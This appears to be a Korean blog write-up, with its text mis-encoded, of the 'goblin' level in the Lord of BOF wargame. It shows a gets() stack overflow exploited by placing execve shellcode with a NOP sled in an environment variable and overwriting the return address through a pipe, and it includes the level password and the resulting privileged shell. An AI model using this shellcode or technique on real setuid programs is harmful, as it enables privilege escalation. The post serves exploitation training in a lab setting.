id : cobolt
pw : hacking exposed
์ด๋ฒ ๋ฌธ์ ๋ argv๋์ stdin์ผ๋ก ์ ๋ ฅ๊ฐ์ ๋ฐ์ต๋๋ค.
argv๋ฅผ ์ด์ฉํ ์ ์์ผ๋, 'ํ๊ฒฝ๋ณ์'๋ฅผ ์ด์ฉํด ๋ณด๋๋ก ํ ๊ฒ์.
[cobolt@localhost cobolt]$ cat goblin.c /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); }
ํ๊ฒฝ๋ณ์๋?
ํ๊ฒฝ๋ณ์๋ OS๊ฐ ํ์ํ ์ ๋ณด๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฌ์์ผ ๋๊ณ ํ์ํ ๋๋ง๋ค ๊ฐ์ ธ๋ค ์ฐ๋ ์์ญ์ ์๋ฏธํฉ๋๋ค.
๋ฉ๋ชจ๋ฆฌ ์ฃผ์๊ฐ ๊ณ ์ ์ ์ด๋ผ, ์ํ๋ ์ฝ๋๋ฅผ ๋ฃ์ด๋๊ณ ์ฃผ์๋ฅผ ์ฐพ์ ret์ ๋ฎ์ผ๋ฉด ํด๋น ์ฝ๋๊ฐ ์คํ ๋๊ฒ ์ฃ ?
export SHELL=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
export ๋ช ๋ น์ ์ฌ์ฉ์ ํ๊ฒฝ๋ณ์๋ฅผ ์ค์ ํด ์ฃผ๋ ๋ช ๋ น์ด ์ ๋๋ค.
์ ๋ช ๋ น์ SHELL์ด๋ผ๋ ํ๊ฒฝ๋ณ์์ ์์ฝ๋๋ฅผ ์ ์ฅํด ์ค๋๋ค.
[cobolt@localhost cobolt]$ export SHELL=`python -c 'print "\x90"*100 + "\x31\xc0
\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` [cobolt@localhost cobolt]$ env LESSOPEN=|/usr/bin/lesspipe.sh %s USERNAME= HISTSIZE=1000 HOSTNAME=localhost.localdomain LOGNAME=cobolt REMOTEHOST=192.168.30.1 MAIL=/var/spool/mail/cobolt TERM=xterm HOSTTYPE=i386 PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/cobolt/bin HOME=/home/cobolt INPUTRC=/etc/inputrc SHELL=1๓ฟฟh//shh/binโแฐ อ USER=cobolt BASH_ENV=/home/cobolt/.bashrc DISPLAY=192.168.30.1:0.0 LANG=en_US OSTYPE=Linux SHLVL=1
SHELL์ด๋ผ๋ ํ๊ฒฝ๋ณ์๊ฐ ์ ์ฅ๋ ๊ฒ์ด ๋ณด์ด์๋์?
์ด์ SHELL์ ๊ณ ์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ์์๋ด ๋ด ์๋ค.
c์ธ์ด๋ก ๊ฐ๋จํ ํ๋ก๊ทธ๋จ์ ๋ง๋ค์ ์์ต๋๋ค.
[cobolt@localhost cobolt]$ cat addr.c #includeint main(){ printf("%p\n", getenv("SHELL")); }
[cobolt@localhost cobolt]$ ./addr 0xbffffd49
์ ์ฃผ์(0xbffffd49)๋ฅผ ret์ ๋ฎ์ด์ฃผ๋ ์ผ๋ง ๋จ์๋ค์.
์ด๋ฒ ๋ฌธ์ ๋ ๊ณต๊ฒฉ ์ฝ๋๊ฐ ๊ธฐ์กด๊ณผ ์ฝ๊ฐ ๋ค๋ฅธ ํ์์ผ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค.
pipe๋ฅผ ์ด์ฉํ๋ ๊ฒ ์ธ๋ฐ์, pipe( | )๋, ํ๋ก์ธ์ค๊ฐ์ ์ ๋ ฅ๊ณผ ์ถ๋ ฅ์ ์ฐ๊ฒฐํด ์ฃผ๋ ์ญํ ๋ก์,
pipe๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ชฝ์ ์๋ ํ๋ก์ธ์ค์ ํ์ค ์ถ๋ ฅ์ ๋ค์ชฝ์ ์๋ ํ๋ก์ธ์ค์ ํ์ค ์ ๋ ฅ์ผ๋ก ์ฐ๊ฒฐํฉ๋๋ค.
์ฐ๋ฆฌ๊ฐ argv๋ก ๋ฃ์๋ python ์ฝ๋๋ฅผ ํ์ดํ ์์ชฝ์ผ๋ก, goblin์ ์คํ์ํค๋ ๋ช ๋ น์ด๋ฅผ ๋ค์ชฝ์ผ๋ก ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค.
(python -c 'print "A"*20 + "ํ๊ฒฝ๋ณ์์ ์ฃผ์"') | ./goblin
์ด๋ ๊ฒ ํด์ฃผ๋ฉด ์ผ์ชฝ์ python๊ตฌ๋ฌธ์ ๊ฒฐ๊ณผ๊ฐ goblin์ ํ์ค ์ ๋ ฅ์ผ๋ก ์ฐ๊ฒฐ๋๊ฒ ๋ฉ๋๋ค.
ํ์ง๋ง, ์ค์ ๋ก ret๊น์ง ๋ฎ์๋ค์ ์คํ ์์ผ๋ณด๋ฉด ์์ฝ๋๊ฐ ์คํ๋์ง ์๋๊ฒ์ ๋ณผ ์ ์๋๋ฐ์,
๊ทธ ์ด์ ๋ shell์ด python ์ผ๋ก๋ถํฐ EOF("์ ๋ ฅ์ด ๋๋ฌ์ต๋๋ค.")๋ฅผ ๋ฐ์์ ์คํ๋์๋ง์ ๋๋๋ฒ๋ฆฌ๊ธฐ ๋๋ฌธ์ ๋๋ค.
shell์ด ์คํ๋๊ณ ๋ ๊ณ์ ์ ์ง๋๊ธฐ ์ํด์ EOF๊ฐ ์ ๋ฌ๋์ง ์๊ณ ๊ณ์ ์ ๋ ฅ์ ๋ฐ๊ฒ ํด์ฃผ์ด์ผ ํฉ๋๋ค.
๊ทธ๋ฆฌ๊ณ ๊ทธ ์ญํ ์ cat์ด ํฉ๋๋ค.
(python -c 'print "A"*20 + "ํ๊ฒฝ๋ณ์์ ์ฃผ์"'; cat) | ./goblin
์ด๋ ๊ฒ ๊ตฌ์ฑ์ ์๋ฃํ์ต๋๋ค. A 20๊ฐ๋ฅผ ๋ฃ๋ ์ด์ ๋ ์ด์ ๋ค ์์๊ฒ ์ฃ ?
๋ชจ๋ฅด์๊ฒ ๋ค๋ฉด ์ด์ ํฌ์คํธ๋ฅผ ๋ค์ ํ๋ฒ ๋ณด๊ณ ์์ฃผ์ธ์^^
http://kortsec1n4mationm.tistory.com/3?category=1010394
๊ทธ๋ ๋ค๋ฉด ์๊น c์ธ์ด๋ก ์ฝ๋๋ฅผ ๋ง๋ค์ด์ ์ฐพ์๋ธ ํ๊ฒฝ๋ณ์์ ์ฃผ์๊ฐ์ ๋ฃ๊ณ ์คํ์์ผ ๋ณผ๊น์?
[cobolt@localhost cobolt]$ (python -c 'print "A"*20 + "\x49\xfd\xff\xbf"';cat) | ./goblin AAAAAAAAAAAAAAAAAAAApรพรฟยฟ id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof
์ฑ๊ณต์ ์ผ๋ก shell์ด ๋ฐ์ก์ต๋๋ค~
'wargame ๐ดโโ ๏ธ write-up > Lord of BOF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
5. orc โ wolfman (0) | 2019.05.02 |
---|---|
4. goblin โ orc (0) | 2018.07.26 |
2. gremlin โ cobolt (1) | 2018.07.23 |
1. gate โ gremlin (0) | 2018.07.23 |